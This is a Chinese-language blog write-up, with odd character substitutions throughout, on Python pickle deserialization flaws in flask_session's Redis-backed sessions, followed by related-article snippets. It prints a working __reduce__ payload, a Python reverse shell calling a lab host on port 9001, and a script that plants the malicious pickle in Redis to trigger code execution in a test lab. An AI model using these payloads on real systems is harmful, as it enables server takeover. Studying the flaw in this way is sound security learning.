摘要:反序列化安全問(wèn)題一這一段時(shí)間使用做開發(fā),使用了存儲(chǔ),閱讀了源碼,發(fā)現(xiàn)在存儲(chǔ)到過(guò)程中,利用了模塊進(jìn)行序列化以及反序列化正好根據(jù)該樣例學(xué)習(xí)一波反序列化相關(guān)的安全問(wèn)題,不足之處請(qǐng)各位表哥指出。
Python 反序列化安全問(wèn)題(一)
這一段時(shí)間使用flask做web開發(fā),使用了redis存儲(chǔ)session,閱讀了flask_session源碼,發(fā)現(xiàn)在存儲(chǔ)session到redis過(guò)程中,利用了cPickle模塊進(jìn)行序列化以及反序列化;正好根據(jù)該樣例學(xué)習(xí)一波Python反序列化相關(guān)的安全問(wèn)題,不足之處請(qǐng)各位表哥指出。
Python中主要是用cPickle和pickle,前者是使用C語(yǔ)言實(shí)現(xiàn),速度可達(dá)到后者的1000倍,使用范圍較廣(文檔鏈接)
cPickle可以序列化很多類型的對(duì)象,詳情見(jiàn)文檔。基礎(chǔ)語(yǔ)法就是:
import cPickle a = 1 b = cPickle.dumps(a) cPickle.loads(b)
文檔中需要特別關(guān)注的是11.1.5.2,Pickling and unpickling extension types
這一節(jié)主要內(nèi)容就是講述cPickle序列化以及反序列化擴(kuò)展類的過(guò)程,原文有一句我并沒(méi)有完全理解意思:
When the Pickler encounters an object of a type it knows nothing about — such as an extension type
初始理解的意思是:當(dāng)遇到解釋器一無(wú)所知的擴(kuò)展類型的時(shí)候,但是對(duì)于理解的這句話,擴(kuò)展類型是什么意思?后來(lái)想到Python中元類是type,這里extension types應(yīng)該理解為type類型的class。
class A(): # 舊類 pass type(A)class B(object): # 新類 pass type(B)
所以說(shuō)這一節(jié)主要針對(duì)的應(yīng)該是新類,即 class A(object) 此種寫法創(chuàng)建的類(存疑,待補(bǔ)充完善);當(dāng)序列化以及反序列化的過(guò)程中中碰到未知類的時(shí)候,可以通過(guò)類中定義的__reduce__方法來(lái)告知如何進(jìn)行序列化或者反序列化,該方法可以返回string和tuple類型;問(wèn)題主要出在tuple類型(后面會(huì)細(xì)述),通過(guò)構(gòu)造__reduce__可達(dá)到命令執(zhí)行的目的:
import cPickle import os class A(object): def __reduce__(self): a = "whoami" return (os.system,(a,)) b=A() result = cPickle.dumps(b) cPickle.loads(result)
使用上述命令即可執(zhí)行whoami命令。同時(shí)也可以利用該方式反彈shell:
import cPickle import os class A(object): def __reduce__(self): a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"""" return (os.system,(a,)) b=A() result = cPickle.dumps(b) cPickle.loads(result)
然后在10.85.0.76執(zhí)行nc -lvvp 9001,即可成功獲取shell。
因?yàn)楸敬螠y(cè)試主要是依托于flask和redis,所以首先介紹一下flask_session。
flask中默認(rèn)使用客戶端session,如果想要配置服務(wù)端session,就需要使用flask_session配合Redis(后面皆以Redis為主)或者其他數(shù)據(jù)庫(kù)。flask_session使用Redis存儲(chǔ)session的過(guò)程(主要使用如下的接口實(shí)現(xiàn),只展示部分代碼):
class RedisSessionInterface(SessionInterface): serializer = pickle # 上文模塊導(dǎo)入 import cPickle as pickle session_class = RedisSession def open_session(self, app, request): # 獲取session …… val = self.redis.get(self.key_prefix + sid) if val is not None: try: data = self.serializer.loads(val) ## 將session值取出后反序列化 return self.session_class(data, sid=sid) except: return self.session_class(sid=sid, permanent=self.permanent) return self.session_class(sid=sid, permanent=self.permanent) def save_session(self, app, session, response): # 存儲(chǔ)session …… val = self.serializer.dumps(dict(session)) ## 將session值序列化存儲(chǔ)到redis
上述過(guò)程簡(jiǎn)單說(shuō)就是:session存取過(guò)程存在序列化和反序列化的過(guò)程。
session在Redis中以鍵值對(duì)(key,value)的形式存儲(chǔ)。假設(shè)我們能夠操縱Redis中的鍵值對(duì),將某個(gè)key的值設(shè)為我們序列化后惡意代碼(比如上面反彈shell的代碼樣例),然后在將自身的cookie設(shè)置為該key,在訪問(wèn)網(wǎng)站的時(shí)候,服務(wù)端會(huì)對(duì)于根據(jù)key查找value并進(jìn)行反序列化,進(jìn)而反彈shell。下面對(duì)于該想法進(jìn)行測(cè)試
測(cè)試環(huán)境:
victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54
attacker:Win10、IP:10.85.0.76
2.1 構(gòu)建服務(wù)端此處我用flask編寫了一個(gè)服務(wù)端樣例:
import redis import os from flask import Flask,session from flask_session import Session app = Flask(__name__) SESSION_TYPE = "redis" SESSION_PERMANENT = False SESSION_USE_SIGNER = False SESSION_KEY_PREFIX = "session" SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379") SESSION_COOKIE_HTTPONLY = True PERMANENT_SESSION_LIFETIME = 604800 # 7 days app.config.from_object(__name__) Session(app) @app.route("/") def hello_world(): session["name"]="test" return "Hello World!" if __name__ == "__main__": app.run(host="0.0.0.0")
將上述代碼保存為app.py,第三方庫(kù)安裝完畢后,在服務(wù)器上運(yùn)行
python app.py
即可在5000端口啟動(dòng)簡(jiǎn)單的服務(wù)端,訪問(wèn)如圖所示,紅框中是我們的sid,也是服務(wù)端查找session內(nèi)容的key(因?yàn)樵O(shè)置了前綴,所以redis中key應(yīng)該是session+sid):
此時(shí)如果說(shuō)我們將value設(shè)置為惡意代碼會(huì)怎么樣?
import cPickle import os import redis class A(object): def __reduce__(self): a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"""" return (os.system,(a,)) b=A() result = cPickle.dumps(b) r = redis.Redis(host="127.0.0.1",port=6379) r.set("此處為"session"和你的sid拼接",result)
運(yùn)行上述代碼后,我們可以發(fā)現(xiàn)我們的session內(nèi)容變成下圖所示內(nèi)容:
2.3 反彈shell此時(shí)在attacker監(jiān)聽9001端口:
nc -lvvp 9001
然后刷新瀏覽器中訪問(wèn)頁(yè)面,發(fā)現(xiàn)成功反彈shell:
目前很多Python的Web應(yīng)用都用Redis等NoSQL進(jìn)行session存儲(chǔ),當(dāng)攻擊者有機(jī)會(huì)去操縱服務(wù)端的session的時(shí)候(比如Redis未授權(quán)訪問(wèn)),配合反序列化漏洞即可執(zhí)行命令。上述提到的兩個(gè)庫(kù)cPickle和pickle,兩個(gè)庫(kù)實(shí)現(xiàn)的功能基本相似,后面會(huì)對(duì)于Python實(shí)現(xiàn)的pickle庫(kù)進(jìn)行分析為何會(huì)出現(xiàn)命令執(zhí)行的漏洞。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/41357.html
摘要:讀取新的一行作為模塊名,讀取下一行作為對(duì)象名,然后將壓入到堆棧中。讀取字符串進(jìn)行處理之后壓入堆棧。將一個(gè)元組和一個(gè)可調(diào)用對(duì)象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對(duì)象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來(lái)聲明如何進(jìn)行序列化。其返回字符串或者tuple,前者可能代表著一個(gè)python的全局變量的名稱,后者則是描...
摘要:讀取新的一行作為模塊名,讀取下一行作為對(duì)象名,然后將壓入到堆棧中。讀取字符串進(jìn)行處理之后壓入堆棧。將一個(gè)元組和一個(gè)可調(diào)用對(duì)象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對(duì)象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來(lái)聲明如何進(jìn)行序列化。其返回字符串或者tuple,前者可能代表著一個(gè)python的全局變量的名稱,后者則是描...
摘要:據(jù)公告稱,和的包裝庫(kù)使用了不安全的函數(shù)來(lái)反序列化編碼的機(jī)器學(xué)習(xí)模型。簡(jiǎn)單來(lái)看,序列化將對(duì)象轉(zhuǎn)換為字節(jié)流。據(jù)悉,本次漏洞影響與版本,的到版本均受影響。作為解決方案,在宣布棄用之后,團(tuán)隊(duì)建議開發(fā)者以替代序列化,或使用序列化作為替代。 ...
摘要:在考慮安全性時(shí),你需要考慮如何避免被濫用,也不例外,即使在標(biāo)準(zhǔn)庫(kù)中,也存在用于編寫應(yīng)用的不良實(shí)踐。修復(fù)使用替換標(biāo)準(zhǔn)庫(kù)模塊,它增加了針對(duì)這些類型攻擊的安全防護(hù)。但這卻是中最大的安全漏洞之一。 簡(jiǎn)評(píng):編寫安全代碼很困難,當(dāng)你學(xué)習(xí)一個(gè)編程語(yǔ)言、模塊或框架時(shí),你會(huì)學(xué)習(xí)其使用方法。 在考慮安全性時(shí),你需要考慮如何避免被濫用,Python也不例外,即使在標(biāo)準(zhǔn)庫(kù)中,也存在用于編寫應(yīng)用的不良實(shí)踐。然而...
摘要:默認(rèn)情況下,它也是不安全的,如果數(shù)據(jù)是由黑客精心設(shè)計(jì)的,則反序列化的數(shù)據(jù)可能被植入惡意代碼。總結(jié)為我們提供了數(shù)據(jù)序列化的工具。如果是自己內(nèi)部使用,可以作為一個(gè)選擇進(jìn)行復(fù)雜對(duì)象的序列化。 上一節(jié)我們學(xué)習(xí)了文件的讀寫,把一個(gè)字符串(或字節(jié)對(duì)象)保存到磁盤是一件很容易的事情。但是在實(shí)際編程中,我們經(jīng)常需要保存結(jié)構(gòu)化數(shù)據(jù),比如復(fù)雜的字典、嵌套的列表等等,這時(shí)候就需要我們想辦法把這些結(jié)構(gòu)化數(shù)據(jù)先...
閱讀 917·2021-11-24 09:38
閱讀 925·2021-11-23 09:51
閱讀 2939·2021-11-16 11:44
閱讀 1762·2021-09-22 15:52
閱讀 1626·2021-09-10 11:20
閱讀 1361·2019-08-30 13:47
閱讀 1292·2019-08-29 12:36
閱讀 3293·2019-08-26 10:43